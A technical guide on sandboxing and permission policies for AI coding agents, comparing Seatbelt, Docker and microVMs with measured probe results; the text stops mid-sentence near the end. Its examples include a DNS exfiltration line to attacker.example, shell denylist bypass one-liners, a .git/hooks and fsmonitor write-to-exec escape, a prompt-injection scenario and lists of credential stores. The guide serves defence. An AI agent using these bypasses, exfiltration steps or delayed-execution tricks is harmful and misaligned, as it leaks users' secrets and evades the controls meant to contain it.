{"slug": "sandboxing-and-permission-policies-for-ai-coding-agents", "title": "Sandboxing and permission policies for AI coding agents", "summary": "A technical guide by Flavio argues that shell denylists and per-command approval prompts fail as coding-agent safeguards because agents can fire roughly thirty tool calls in two minutes, training users to approve on autopilot, and because commands like `npm test` or `git diff` can spawn arbitrary child processes from `package.json`, `node_modules`, and `.git/config`. The guide recommends splitting safety into two layers — a harness-level permission policy that gates tools and arguments, and an OS-level sandbox (macOS Seatbelt, Docker, or microVMs) that limits what launched processes can touch — and reports a live 5-probe boundary suite comparing an unsandboxed macOS host, macOS Seatbelt, and hardened Docker 29.1.3.", "body_md": "# Sandboxing and permission policies for AI coding agents\n\nBy [Flavio](https://flaviocopes.com/about/)\n\nTagged: [AI](https://flaviocopes.com/tags/ai/)\n\nWhy shell denylists and approval prompts fail, how macOS Seatbelt, Docker, and microVMs isolate coding agents, and live 5-probe boundary tests.\n\nYou launch a coding agent in a project folder and ask it to fix a broken integration test. First it asks to run `rg`, and you hit Enter.\n\nThen it asks to run `npm test`, and you hit Enter again. Ten minutes later, it has prompted you twenty-four times. When a three-line shell pipeline pops up in the terminal, your thumb hits Enter before your eyes finish reading the first flag.\n\nThat moment is where most coding-agent security setups quietly fall apart.\n\nOnce you start clicking approve on autopilot, a confirmation dialog stops protecting you. Even worse, many tools try to patch the gap with a regex denylist that blocks `rm -rf` or `cat .env`, while leaving `python3 -c`, `node -e`, and `git` wide open inside the same shell.\n\nIn this guide, I’ll show you how to confine a coding agent with both [permission modes](https://flaviocopes.com/ai-glossary/permission-modes/) and real OS-level [sandboxes](https://flaviocopes.com/ai-glossary/sandbox/). We’ll separate harness rules from kernel enforcement, compare the main isolation tiers on macOS and Linux, and look at filesystem and network traps like `.git/hooks`.\n\nThen we’ll run a live 5-probe boundary suite comparing an unsandboxed macOS host, macOS Seatbelt, and hardened Docker `29.1.3`.\n\n## Why approval prompts fail in practice\n\nAsking a human to approve every shell command sounds safe on paper. In a real coding session, the math turns against you right away.\n\nA modern coding agent can fire off thirty tool calls in two minutes. Reading a shell command carefully, checking what files it touches, and thinking through its side effects takes fifteen or twenty seconds.\n\nIf you review every call properly, you lose the speed advantage of using an agent. If you match the agent’s pace, you stop reading.\n\nEven when you stay alert, the command string on screen hides most of what is about to run.\n\nTake a routine prompt asking to run `npm test`. That two-word command looks harmless, right?\n\nBehind it sit the `scripts` entries in `package.json`, every test helper in the repository, and every postinstall or native binary inside `node_modules`. It also inherits the environment variables from your shell.\n\nIf the agent edited a test setup file two turns ago, or if you just checked out an untrusted pull request, approving `npm test` hands over your entire user account.\n\nThe same applies to `make check`, `pytest`, `cargo test`, and even `git diff`. Git can invoke external diff drivers, credential helpers, and filesystem monitors configured inside `.git/config`. Reviewing the top-level command tells you which binary starts first, and almost nothing about the child processes it spawns.\n\nApproval prompts still have a great place in your workflow. They work well for rare, high-consequence actions like deploying a service, pushing a release tag, or running a database migration against staging.\n\nWhen prompts fire fifty times an hour for normal build and test loops, you train yourself to click yes. The better fix is to shrink what the running process can touch, so routine commands don’t need a prompt at all.\n\n## Separating permission policies from sandboxes\n\nA solid coding-agent setup splits safety into two separate layers that solve different problems.\n\nThe first layer is the **permission policy**, which lives inside the agent harness (the CLI, editor extension, or orchestrator talking to the model). The harness picks which tools appear in the model’s schema, checks arguments before running a call, enforces read-only or allowlisted modes, and decides which actions need human sign-off.\n\nThe second layer is the **sandbox**, which lives below the harness inside the OS kernel, a container runtime, or a hypervisor. Once the harness launches a shell command, test runner, or build script, the sandbox limits what that process and its child processes can read, write, execute, or reach over the network.\n\nMixing these two layers up leads to brittle setups.\n\nIf you rely only on a permission policy, any approved command runs with your full user privileges. Approve `pytest` once, and the test process can read `~/.ssh/id_ed25519`, inspect `~/.aws/credentials`, write to `~/.zshrc`, or send an outbound HTTP POST with your `.env` contents.\n\nThe harness never sees those file reads because Python makes them directly inside the test process instead of sending separate tool calls.\n\nIf you rely only on a sandbox, the kernel still can’t judge intent inside the allowed boundary. A sandbox that lets the agent write to your working directory will still let it delete uncommitted work or corrupt a local SQLite database.\n\nSimilarly, a sandbox that allows outbound HTTPS to GitHub so the agent can push a branch will also let it force-push or open twenty noisy pull requests if the token allows it.\n\nHere is how the two layers work together when a tool call runs:\n\nPutting both layers in place gives each one a clear job. The harness controls *what actions the model is allowed to request*. The sandbox limits *what the operating system lets the resulting process tree do*, even if the model makes a mistake, hits a prompt injection, or runs hostile dependency code.\n\n## Isolation tiers compared\n\nWhen people say “run the agent in a sandbox”, they might mean a 15-millisecond kernel profile on your laptop or a disposable cloud virtual machine. Picking the right tier depends on startup cost, OS support, whether the agent needs extra services like Postgres, and how much you trust the repository.\n\n### macOS Seatbelt (`sandbox-exec`)\n\nOn macOS, the kernel includes a Mandatory Access Control framework commonly called Seatbelt. The `sandbox-exec` command launches any process under a Scheme-like `.sb` policy file that restricts file reads, file writes, process execution, and network sockets.\n\nSeatbelt’s biggest advantage is speed and ergonomics. In my probes later in this post, wrapping a command in `sandbox-exec` took 14 to 20 milliseconds total, compared to 7 to 11 milliseconds on the bare host.\n\nYour agent keeps using native macOS compilers, the Swift toolchain, your Node runtime, and local file paths. There is zero VM boot time and zero bind-mount sync lag.\n\nTwo caveats apply when you build on Seatbelt:\n\n1. **Shared host kernel** : The sandboxed process shares your macOS host kernel, so you get a strong application boundary instead of hardware virtualization.\n2. **CLI deprecation** : Apple marked the`sandbox-exec` CLI tool as deprecated years ago, even though macOS itself and several modern coding-agent harnesses still rely on the underlying Seatbelt kernel subsystem (`sandbox_init` ).\n\nIn practice, Seatbelt policies work reliably on current macOS releases as long as you write your path rules carefully and verify them with real probes.\n\n### Linux namespaces, seccomp-BPF, and Landlock\n\nOn Linux, you get modular kernel primitives that you can combine without running a full container daemon.\n\nNamespaces (`unshare`, `clone`) isolate what a process can see:\n\n- **Mount namespaces** hide host directories\n- **PID namespaces** hide other processes\n- **Network namespaces** cut off host network interfaces\n- **User namespaces** map a non-root user inside the sandbox without granting root outside\n\nTools like `bubblewrap` (`bwrap`) wrap these namespaces into a tiny CLI that starts in a few milliseconds.\n\n`seccomp-BPF` adds syscall filtering on top. You attach a BPF filter that blocks dangerous system calls like `ptrace`, `mount`, `bpf`, or `keyctl`, shrinking the kernel attack surface available to the sandboxed process.\n\n`Landlock` (available since Linux 5.13, with TCP restrictions added in newer kernels) lets an unprivileged process lock down its own filesystem and network rules before calling `execve`. Since Landlock needs no root privileges and no setuid binary, agent harnesses can apply it inside a child process right before running a shell command.\n\n### Hardened Docker containers\n\nContainers combine Linux namespaces, cgroups (CPU, memory, and PID caps), and filesystem images into a repeatable runtime. If you want to review the basics, my free [Docker Handbook](https://flaviocopes.com/ebooks/docker-handbook/) covers images, volumes, and networking from scratch.\n\nA default `docker run` command is nowhere near a hardened sandbox. Out of the box, a container gets full outbound internet access, a writable root filesystem, a root user inside the container, and a default set of Linux capabilities.\n\nHardening it takes explicit flags: `--network none`, `--read-only`, `--cap-drop ALL`, `--security-opt no-new-privileges`, a non-root `--user`, memory and PID limits, and mounting only the project directory.\n\nOn Linux, Docker containers share the host kernel. On macOS, Docker Desktop runs containers inside a lightweight Linux virtual machine, which puts a virtualization layer between the container and your Mac.\n\nThe tradeoff is cold-start latency, around 140 to 200 milliseconds per one-off `docker run` in our probes. You also can’t run macOS-only tools like Xcode inside a Linux image.\n\nIf you keep one long-lived hardened container running for the whole session and send commands via `docker exec`, per-command overhead drops close to native speed.\n\n### MicroVMs and cloud sandboxes\n\nMicroVMs give each agent session its own guest kernel, virtual block device, and virtual network interface. Examples include Firecracker on Linux, Apple’s Virtualization framework on macOS, and hosted services like [Vercel Sandbox](https://flaviocopes.com/vercel-sandbox/) and [Docker Sandboxes](https://flaviocopes.com/docker-coding-agent/).\n\nGiving an agent a full microVM solves two problems containers struggle with. First, a kernel bug inside the guest stays trapped in that disposable VM and never touches the host kernel or neighboring workloads.\n\nSecond, the agent can run its own Docker Engine, start Postgres or Redis via Compose, and install system packages. When it finishes, you tear the whole machine down without touching your laptop.\n\nThe cost is memory, disk space, and slightly heavier setup. Spinning up a warm microVM snapshot takes a few hundred milliseconds to a couple of seconds, and pulling fresh images into a brand-new VM takes longer the first time.\n\nMicroVMs shine for unattended runs, multi-service debugging, and untrusted repositories, while local OS sandboxes stay faster for quick interactive edits. Here is how the four tiers compare:\n\n| Isolation tier | Typical startup | Filesystem isolation | Kernel boundary | Network control | Platform support | Best fit | \n|---|---|---|---|---|---|---|\n| macOS Seatbelt ( `sandbox-exec` ) | 14 to 20 ms | Rule-based path allow/deny on host FS | Shared host kernel | Block all outbound or proxy via localhost | macOS only | Fast interactive local edits and native macOS toolchains | \n| Linux `bwrap` + seccomp + Landlock | 10 to 30 ms | Mount namespace + Landlock rules | Shared host kernel | Isolated netns or proxy | Linux only | Local Linux dev boxes and lightweight CI runners | \n| Hardened Docker container | 140 to 200 ms cold ( `exec` < 30 ms) | Dedicated rootfs + explicit volume mounts | Shared kernel on Linux; Linux VM on macOS | `--network none` or isolated bridge/proxy | macOS, Linux, Windows | Repeatable Linux toolchains, untrusted scripts, clean isolation | \n| MicroVM (Firecracker / Apple Virt / cloud) | 200 ms to 2 s | Ephemeral virtual disk + clone/mount | Separate guest kernel | Virtual NIC + host/cloud egress proxy | Cloud Linux, macOS (Apple Virt) | Unattended agents, Docker-in-Docker, untrusted repos | \n\n## Filesystem boundaries and the traps people miss\n\nMost engineers start designing a sandbox with one obvious rule: allow writes only inside the project directory, and deny writes everywhere else. That stops an agent from overwriting `~/.zshrc` or dropping files in `/usr/local/bin`, which is a strong first step.\n\nReads are much harder to lock down than writes.\n\nEvery time a sandboxed shell runs `node`, `python3`, `git`, or `sh`, it has to read shared libraries under `/usr/lib` or `/System/Library`, dynamic linker caches, locale data, and timezone files. It also reads CA certificates in `/etc/ssl` and runtime binaries in `/opt/homebrew` or `/usr/local`.\n\nIf you switch to a strict default-deny read policy on a host OS without a container rootfs, half your toolchain breaks on missing library loads until you maintain a long allowlist.\n\nHost-level OS profiles like Seatbelt therefore often start with `(allow default)` for reads and explicitly deny sensitive trees. Containers and VMs flip the model cleanly: the container starts with an empty filesystem holding only the base Linux image and the single workspace directory you mount in.\n\n### Credential stores hiding in your home directory\n\nWhen a sandboxed process shares your host filesystem, you have to explicitly block every folder where developer credentials live. The usual list starts with `~/.ssh` and `~/.aws`, and it grows fast once we check a real workstation:\n\n- `~/.ssh` (private keys and`config` host aliases)\n- `~/.aws` ,`~/.config/gcloud` ,`~/.azure` (cloud credentials and session tokens)\n- `~/.config/gh` ,`~/.git-credentials` ,`~/.netrc` (GitHub and HTTP tokens)\n- `~/.npmrc` ,`~/.pypirc` ,`~/.cargo/credentials.toml` ,`~/.docker/config.json` (package registry auth)\n- `~/.kube/config` (cluster credentials)\n- Browser profile directories (saved cookies and local storage)\n- macOS Keychain databases and Unix sockets like `SSH_AUTH_SOCK` or`/var/run/docker.sock`\n\nLook closely at that last bullet. Even if you deny reads on `~/.ssh`, leaving `SSH_AUTH_SOCK` in the child environment lets the sandboxed process ask your running `ssh-agent` to sign challenges on its behalf.\n\nMounting `/var/run/docker.sock` into a container is even worse, because it hands the agent root-equivalent control over your host Docker daemon. Always scrub inherited environment variables and strip agent sockets before launching the sandbox.\n\n### The workspace `.env` problem\n\nSuppose you lock down every directory in `$HOME` and mount only the current repository into a hardened container. You still have a leak if your project folder contains `.env`, `.env.local`, or a downloaded production SQLite backup.\n\nBecause those files sit inside the workspace mount, the agent can read them directly. As I covered in [how to protect secrets when coding agents deploy your app](https://flaviocopes.com/agent-deploy-secrets/), `.gitignore` only tells Git what to skip during commits. It does nothing to stop a shell command or test runner from reading `.env`.\n\nInside Docker, you can mask a local `.env` file without deleting it from your host by mounting `/dev/null` (or a sanitized `.env.sandbox` file with dummy values) right over it:\n\n```\ndocker run --rm \\\n  --network none \\\n  --read-only \\\n  --cap-drop ALL \\\n  --security-opt no-new-privileges \\\n  -v \"$(pwd)\":/work:rw \\\n  -v /dev/null:/work/.env:ro \\\n  -w /work \\\n  alpine:3.20 sh -c 'cat /work/.env'\n```\n\nInside the container, `/work/.env` shows up as an empty read-only file, while your real `.env` on the host stays untouched. For Seatbelt on macOS, add an explicit `(deny file-read* (literal \"/path/to/repo/.env\"))` rule for every secret file living inside the repo.\n\n### Symlinks and canonical paths on macOS\n\nA subtle bug bites almost everyone who writes their first Seatbelt profile on macOS.\n\nOn macOS, `/tmp` is a symbolic link to `/private/tmp`, and `/var` is a symbolic link to `/private/var`. Seatbelt evaluates path rules against resolved canonical paths in the kernel, so a profile like this will silently fail:\n\n```\n(deny file-write* (subpath \"/\"))\n(allow file-write* (subpath \"/tmp/my-agent-workspace\"))\n```\n\nEvery write to `/tmp/my-agent-workspace/test.txt` fails with `Operation not permitted`. The kernel resolves that path to `/private/tmp/my-agent-workspace/test.txt` before checking the allow rule, so the rule never matches.\n\nAlways resolve workspace paths with `fs.realpathSync()` (or `realpath` in the shell) before generating a sandbox profile.\n\nSymlinks inside the workspace matter too. If a host-mounted workspace contains a symlink pointing to `/etc/passwd` or `~/.ssh/id_rsa`, a host-level OS sandbox must evaluate the target path (Seatbelt does). A container mount namespace naturally breaks host-pointing symlinks because the target doesn’t exist inside the container.\n\n### The `.git/hooks` write-to-exec trap\n\nHere is the filesystem escape that catches even experienced security engineers.\n\nPicture a tight sandbox where the agent can’t read `~/.ssh`, can’t write outside `/path/to/repo`, and has zero network access. It finishes its work and exits cleanly.\n\nNow you sit back down at your normal, unsandboxed terminal to inspect the diff. You run `git status` or `git checkout -b review`.\n\nIf the agent had write access to `.git/` inside the workspace, it could skip escaping the sandbox altogether and just wait for *you* to run code on its behalf later.\n\nAn agent with write permission to `.git/` can drop a shell script into `.git/hooks/post-checkout` or `.git/hooks/pre-commit`. It can also append `fsmonitor = /path/to/payload.sh` or `sshCommand = ...` to `.git/config`.\n\nThe next time you run a routine Git command on your host machine, Git reads `.git/config` and runs that hook outside the sandbox. That payload now executes with your full host permissions, SSH keys, cloud tokens, and open internet connection.\n\nHere is how that write-to-exec chain plays out:\n\nGit metadata is just the most common case of this pattern. Anything in the workspace that your editor or shell auto-executes on the host carries the same risk: `.vscode/tasks.json`, `.envrc` if you use `direnv`, `.gitattributes` filter drivers, and `package.json` scripts you run locally before reviewing the diff.\n\nWe can close the `.git/` trap in two clean ways:\n\n- **Protect `.git/` in a direct mount** : Mark`.git/hooks` and`.git/config` read-only inside the sandbox using a Seatbelt deny rule or read-only Docker bind mounts over those paths.\n- **Use a clone-based sandbox** : For untrusted or unattended tasks, let the agent work on a separate clone inside its container or VM, then fetch only the Git commits back to your host repo.\n\nWhy does `git fetch` help so much here? Because it transfers commit objects, trees, and blobs, and never copies `.git/hooks` or `.git/config` from the remote clone.\n\n## Network egress control: closing the exfiltration path\n\nFilesystem isolation limits what an agent can read. Network isolation limits whether anything it reads can leave the machine.\n\nThink about what happens during a normal coding task. Even when you hide `~/.ssh` and `~/.aws`, the agent still reads your proprietary source code, test fixtures, internal API URLs, and maybe a local staging database dump.\n\nIf the sandbox has unrestricted outbound internet access, a single prompt injection hidden in a dependency README or GitHub issue can tell the model to Base64-encode a file and send it out. That exfiltration works through `curl`, Python’s `urllib`, or even a DNS query like `$(base64 -w0 secret).attacker.example`.\n\nCutting raw internet access from the sandbox breaks that entire exfiltration path. You have two clean ways to set it up.\n\n### Air-gapped execution\n\nThe simplest and strongest setup is zero network access: `(deny network-outbound)` in Seatbelt, or `--network none` in Docker.\n\nWith `--network none`, the container gets only a loopback interface (` 127.0.0.1`), with no external NIC, no default route, and no reachable DNS server.\n\nYour tests can still spin up a local HTTP server on `127.0.0.1:3000` and hit it from Playwright or `fetch`. Every attempt to reach the public internet fails at the kernel or resolver layer.\n\nAir-gapped execution works smoothly if you split your workflow into two phases. Fetch dependencies first (`npm ci`, `pip install`, `cargo fetch`) while the environment has registry access, or pre-bake them into a base image. Then launch the coding agent offline to edit code and run tests against the local cache.\n\n### Domain-allowlist HTTP proxy\n\nSometimes an agent genuinely needs limited network access during a session, such as installing a missing npm package, reading documentation, or calling a specific test API.\n\nInstead of giving the sandbox a direct route to the internet, keep its network isolated with no direct outbound TCP/UDP and no raw DNS. Then expose a single host-side HTTP/HTTPS proxy through a dedicated bridge or Unix socket.\n\nHave the proxy enforce an explicit domain allowlist:\n\n- Allow `registry.npmjs.org` and`pypi.org` for package installs\n- Deny everything else by default, including raw IP addresses and private LAN ranges (`10.0.0.0/8` ,`169.254.169.254` ,`192.168.0.0/16` )\n- Log every destination hostname, HTTP method, and response status outside the sandbox where the agent can’t tamper with the log\n\nBlocking private IP ranges and cloud metadata endpoints (`169.254.169.254`) matters even more on cloud VMs and CI runners. On those hosts, an open outbound route lets a sandbox query instance metadata and steal temporary IAM credentials.\n\nDomain allowlists still have one edge case. If you allow a multi-tenant platform like `api.github.com` or `gist.github.com` and the agent holds a token or hits a public upload endpoint, data can still leave to an attacker-controlled repo or gist on that allowed domain.\n\nKeep tokens out of the sandboxed process, or place credentials inside a narrow host-side proxy that injects auth headers only for specific repositories and routes.\n\n## Why shell denylists always fail (and a live bypass)\n\nWhen teams add a shell tool to a coding agent, their first instinct is almost always a command denylist. They write a regex that blocks `rm -rf`, `sudo`, `cat`, `head`, `tail`, `curl`, `wget`, `nc`, and `.ssh`.\n\nOn paper it looks reassuring. In practice, a string denylist in front of a general-purpose shell breaks against even a basic bypass. Any developer machine comes packed with Turing-complete interpreters and tools that run arbitrary code or read arbitrary files.\n\nHere is why string matching loses every time:\n\n- **Interpreters** :`python3 -c` ,`node -e` ,`ruby -e` , and`perl -e` can read any file, delete directories recursively, and open raw TCP sockets without ever mentioning`cat` ,`rm` , or`curl` .\n- **Shell indirection** :`echo Y2F0IC5lbnY= | base64 -d | sh` , variable concatenation (`a=ca; b=t; $a$b .env` ), and glob expansion (`cat .e?v` ) hide blocked strings from a regex check effortlessly.\n- **Hidden execution flags** : “Safe” developer tools like`git -c core.fsmonitor='sh -c ...' status` ,`find . -exec ...` ,`awk 'BEGIN { system(...) }'` ,`tar --checkpoint-action=exec=...` , and`make` all execute arbitrary commands behind an innocent binary name.\n\nInstead of arguing in the abstract, I tested a real bypass on my Mac alongside the sandbox lab. Suppose a harness runs a naive regex denylist blocking `cat`, `head`, `tail`, `less`, `curl`, `wget`, `rm -rf`, and `.ssh`:\n\n``` js\nconst naiveDenylist = /\\b(cat|head|tail|less|more|curl|wget|nc|ssh|scp|sudo)\\b|rm\\s+-rf|\\.ssh/i\n\nconst command =\n  'python3 -c \"import pathlib; print(pathlib.Path(\\'/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env\\').read_text().strip())\"'\n\nconsole.log('passes_naive_denylist:', !naiveDenylist.test(command))\n```\n\nThat Python one-liner doesn’t contain a single blocked word from the regex. Here is what happened when I ran that command against the regex check, on the unsandboxed macOS host, and inside our macOS Seatbelt profile:\n\n``` python\nCommand:\n  python3 -c \"import pathlib; print(pathlib.Path('/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env').read_text().strip())\"\n\npasses_naive_denylist: true\n\nHost (29ms, exit 0):\n  DEMO_SECRET_TOKEN=dummy_value_not_real_12345\n\nSeatbelt (56ms, exit 1):\n  Traceback (most recent call last): File \"<string>\", line 1, in <module> ...\n  PermissionError: [Errno 1] Operation not permitted\n```\n\nOn the unsandboxed host, the command slipped right past the denylist and printed the secret in 29 milliseconds.\n\nInside Seatbelt, Python started normally and called `open()` on the secret path. The macOS kernel immediately rejected the syscall with `Operation not permitted` (exit code 1, 56 milliseconds).\n\nInside hardened Docker, the secret file was never mounted into the container’s mount namespace at all.\n\nThe kernel doesn’t care whether a file read comes from `cat`, `python3`, `node`, a Base64-decoded pipeline, or a compiled C binary. Every one of them hits the same syscall boundary.\n\nDoes that mean harness-level command rules are useless? No, you just invert them:\n\n- Use **allowlists** for narrow, auto-approved read-only helpers like`git status` ,`git diff` ,`ls` , or`rg` with validated arguments.\n- Expose structured non-shell tools where practical, such as dedicated file-read and search tools that enforce workspace path checks in code.\n- Let the OS or container sandbox enforce the real wall whenever a shell command runs.\n\n## Live lab: testing 5 boundary probes across Host, Seatbelt, and Docker\n\nRules in config files are easy to misread and easy to break with a single wrong character. The only way to trust a sandbox config is to attack it with real probes and inspect the verbatim OS errors.\n\nI built a small Node.js probe runner on macOS with Docker `29.1.3`. Then I ran five boundary probes plus the `python3 -c` denylist bypass against three environments:\n\n1. Unsandboxed macOS Host (baseline)\n2. macOS Seatbelt (`sandbox-exec -f agent.sb` )\n3. Hardened Docker `29.1.3` running`alpine:3.20`\n\n### The Seatbelt profile (`agent.sb`)\n\nHere is the exact Seatbelt policy I used for the run. Notice `/private/tmp/...` in the workspace allow rule so macOS symlink resolution matches:\n\n```\n(version 1)\n(allow default)\n(deny network-outbound)\n(deny file-write* (subpath \"/\"))\n(allow file-write* (subpath \"/private/tmp/ai-post-labs/agent-sandboxing-permissions/workspace\"))\n(deny file-read* (literal \"/private/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env\"))\n(deny file-read* (subpath \"/Users/flaviocopes/.ssh\"))\n```\n\nIn Seatbelt, later more specific rules override broader earlier rules for the same operation class. `(deny file-write* (subpath \"/\"))` blocks writes across the whole filesystem, and the next line re-opens writes only inside the workspace folder.\n\n`(deny network-outbound)` cuts off all outbound TCP, UDP, and DNS traffic. The final two lines block reads on our dummy secret file and `~/.ssh`.\n\n### The hardened Docker command\n\nFor the container tests, each probe ran inside a fresh ephemeral Alpine container with five explicit hardening flags:\n\n```\ndocker run --rm \\\n  --network none \\\n  --read-only \\\n  --cap-drop ALL \\\n  --security-opt no-new-privileges \\\n  -v /private/tmp/ai-post-labs/agent-sandboxing-permissions/workspace:/work:rw \\\n  alpine:3.20 sh -c \"<probe>\"\n```\n\nEach flag removes a specific class of risk:\n\n- `--network none` removes all external network interfaces and DNS routing.\n- `--read-only` mounts the container’s root filesystem read-only, blocking writes to`/etc` ,`/usr` , and`/tmp` (add`--tmpfs /tmp:rw,noexec,nosuid,size=64m` when a build tool needs scratch space).\n- `--cap-drop ALL` strips every Linux capability from the process, removing privileges like raw sockets,`CAP_SYS_ADMIN` , and`CAP_CHOWN` .\n- `--security-opt no-new-privileges` stops setuid binaries or file capabilities from escalating privileges inside the container.\n- `-v .../workspace:/work:rw` mounts only the project folder, leaving the rest of the host invisible.\n\nFor production agent sessions, also add `--user 1000:1000`, `--pids-limit 256`, and `--memory 2g` so a runaway test suite can’t fork-bomb or exhaust RAM.\n\n### Probe output and measured matrix\n\nHere is the terminal output from running the five boundary probes and the regex denylist bypass back to back:\n\nHere are the measured statuses, exit codes, and wall-clock latencies across Host, Seatbelt, and Docker `29.1.3`:\n\n| Security probe | Unsandboxed Host | macOS Seatbelt ( `sandbox-exec` ) | Hardened Docker 29.1.3 | \n|---|---|---|---|\n| Write inside workspace | ALLOWED ( `exit 0` , 11ms) | ALLOWED ( `exit 0` , 18ms) | ALLOWED ( `exit 0` , 202ms) | \n| Write outside workspace | EXPOSED ( `exit 0` , 7ms) | BLOCKED ( `exit 1` , 18ms) | BLOCKED ( `exit 1` , 142ms) | \n| Read secret file outside workspace | EXPOSED ( `exit 0` , 8ms) | BLOCKED ( `exit 1` , 20ms) | BLOCKED ( `exit 1` , 146ms) | \n| List `~/.ssh` directory | EXPOSED ( `exit 0` , 11ms) | BLOCKED ( `exit 1` , 14ms) | BLOCKED ( `exit 1` , 170ms) | \n| Outbound HTTP request (exfiltration) | EXPOSED ( `exit 0` , 145ms) | BLOCKED ( `exit 6` , 18ms) | BLOCKED ( `exit 1` , 5167ms) | \n| Regex denylist bypass ( `python3 -c` ) | EXPOSED ( `exit 0` , 29ms) | BLOCKED ( `exit 1` , 56ms) | BLOCKED (secret not mounted) | \n\nAnd here is the same comparison table formatted as a visual summary:\n\n### Reading the verbatim kernel and container blocks\n\nThe error strings themselves show *how* each sandbox stopped the probe. They also reveal a big architectural difference between host profiles and containers.\n\nFirst, here is what happened when each environment tried to write outside the workspace:\n\n```\nHost:     WROTE_OUTSIDE (exit 0, 7ms)\nSeatbelt: sh: /tmp/ai-post-labs/agent-sandboxing-permissions/outside-write.txt: Operation not permitted (exit 1, 18ms)\nDocker:   sh: can't create /etc/pwned.txt: Read-only file system (exit 1, 142ms)\n```\n\nSeatbelt denied the write via Mandatory Access Control (`EPERM`: `Operation not permitted`). Docker denied it because the root filesystem is mounted read-only (`EROFS`: `Read-only file system`).\n\nNext, here are the verbatim errors for reading the secret file outside the workspace and listing `~/.ssh`:\n\n```\nHost read_secret:     DEMO_SECRET_TOKEN=dummy_value_not_real_12345 (exit 0, 8ms)\nSeatbelt read_secret: cat: /tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env: Operation not permitted (exit 1, 20ms)\nDocker read_secret:   cat: can't open '/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env': No such file or directory (exit 1, 146ms)\n\nHost read_ssh:        /Users/flaviocopes/.ssh (exit 0, 11ms)\nSeatbelt read_ssh:    ls: /Users/flaviocopes/.ssh: Operation not permitted (exit 1, 14ms)\nDocker read_ssh:      ls: /root/.ssh: No such file or directory (exit 1, 170ms)\n```\n\nNotice the difference between `Operation not permitted` and `No such file or directory`. Under Seatbelt, the host filesystem stays visible, so you have to remember to deny every sensitive path.\n\nUnder Docker, the mount namespace hides the entire host by default, so unmounted files don’t exist inside the container. You never leak a new credential directory just because you forgot to add a deny rule for it.\n\nNow let’s look at the outbound HTTP exfiltration probe and its surprising latency gap:\n\n```\nHost outbound_net:     HTTP 200 (exit 0, 145ms)\nSeatbelt outbound_net: HTTP 000curl: (6) Could not resolve host: example.com (exit 6, 18ms)\nDocker outbound_net:   wget: bad address 'example.com' (exit 1, 5167ms)\n```\n\nWhy did Seatbelt fail in 18 milliseconds while Docker took 5,167 milliseconds?\n\nInside Seatbelt, `(deny network-outbound)` tells the macOS kernel to reject the outbound DNS socket right away, so `curl` fails on the first try in 18ms.\n\nInside Alpine with `--network none`, BusyBox `wget` reads `/etc/resolv.conf` and tries DNS resolution over the missing external network. It waits through its ~5-second resolver timeout before printing `wget: bad address 'example.com'`.\n\nBoth sandboxes stopped the request completely. Knowing why that timeout happens saves you from thinking an offline container is hung when a stray network call inside a test suite stalls for five seconds.\n\nFinally, look at the latency numbers on normal commands. On the bare host, a simple shell command ran in 7 to 11ms, while Seatbelt ran the same commands in 14 to 20ms (under 10ms of overhead).\n\nStarting a brand-new Docker container per probe took 142 to 202ms. Over a 100-command agent session, 200ms per command adds twenty seconds of startup overhead and drops in-memory caches between calls.\n\nBecause of that cold-start cost, real container-based harnesses start one hardened container at the beginning of a session and send each tool call via `docker exec`.\n\n## Designing tiered permission policies that hold up\n\nOne blanket policy rarely fits every coding task. If your everyday sandbox is as strict as an untrusted-code VM, you’ll get annoyed and turn it off. If you use your everyday local policy for an unattended overnight run, one bad command can ruin your afternoon.\n\nSplitting your setup into explicit tiers keeps friction low where risk is low and locks everything down where consequences grow. Here is the four-tier model I use:\n\n| Tier | Filesystem scope | Network access | Command policy | Approval model | Typical tasks | \n|---|---|---|---|---|---|\n| Tier 0: Read-only audit | Read-only repo, sensitive `$HOME` paths denied | None | Read-only tools and search only | Auto-approved | Codebase Q&A, log analysis, PR review, bug diagnosis | \n| Tier 1: Local OS sandbox | Workspace RW ( `.git/hooks` and`.env` protected), rest RO/denied | None (or allowlisted registry proxy) | Shell allowed inside OS sandbox | Auto-approve inside sandbox; prompt on boundary requests | Interactive feature work, refactoring, unit tests | \n| Tier 2: Hardened container or microVM | Cloned workspace RW, host invisible | None after deps, or strict domain proxy | Full shell inside disposable guest | Unattended inside VM; human reviews final git diff | Overnight tasks, untrusted repos, Postgres/Redis migrations | \n| Tier 3: External / live actions | Scoped credentials kept outside model context | Specific API endpoint only | Structured typed tool, never raw shell | Explicit human approval bound to exact arguments | Production deploys, DNS changes, billing, customer emails | \n\nBefore starting a session, I route each task into the right tier with a quick decision tree:\n\nNotice what changes at Tier 3. Once an action reaches outside your machine to charge a card, deploy code, update DNS, or delete production records, local OS sandboxing only protects the local process.\n\nAt that boundary, the real guard is a structured tool with narrowly scoped credentials and a confirmation step locked to the exact arguments being executed. I built this pattern for domain purchases in [how to prevent AI agents from taking irreversible actions](https://flaviocopes.com/ai-agent-irreversible-actions-safely/).\n\n## How I sandbox my coding agents\n\nIn my daily work, I split tasks along the same line I described in [things I let coding agents do unattended, and things I never do](https://flaviocopes.com/agents-unattended/): what happens if the agent is wrong?\n\n### Everyday local work (Tier 1)\n\nFor interactive work on my own repositories, I use a Tier 1 local OS sandbox. The agent can read the project, edit files inside the workspace, and run the local test suite and build without making me click Allow every ten seconds.\n\nWrites outside the workspace are blocked by the OS, `~/.ssh` and cloud credential folders are off-limits, and outbound network access stays closed unless a step needs it. Since the kernel holds the wall, I can let the agent loop through twenty test runs in a row without approval fatigue.\n\n### Unattended runs and untrusted repos (Tier 2)\n\nI move up to Tier 2 for database migrations, messy dependency trees, unfamiliar open-source repos, or unattended runs while I’m away from the keyboard. A hardened Docker container or a dedicated [Docker Sandbox VM](https://flaviocopes.com/docker-coding-agent/) gives the agent a clean clone of the repo and its own disposable services, with zero host credentials mounted.\n\nWhen it finishes, I fetch the branch and read the diff. I always check `.git/hooks`, `package.json`, and build scripts before running anything on my Mac.\n\n### Production and live actions (Tier 3)\n\nFor anything touching production servers, live customer data, payments, or email delivery, I never hand the agent broad shell tokens or auto-approval. The agent can inspect logs in read-only mode, write a migration script, or prepare a draft PR. I run the live action myself, or I approve a typed command whose parameters are locked before execution.\n\n### Where heavier sandboxing fits poorly\n\nThis setup also has clear limits where heavier sandboxing gets in the way:\n\n- **Native macOS and iOS apps** : Xcode 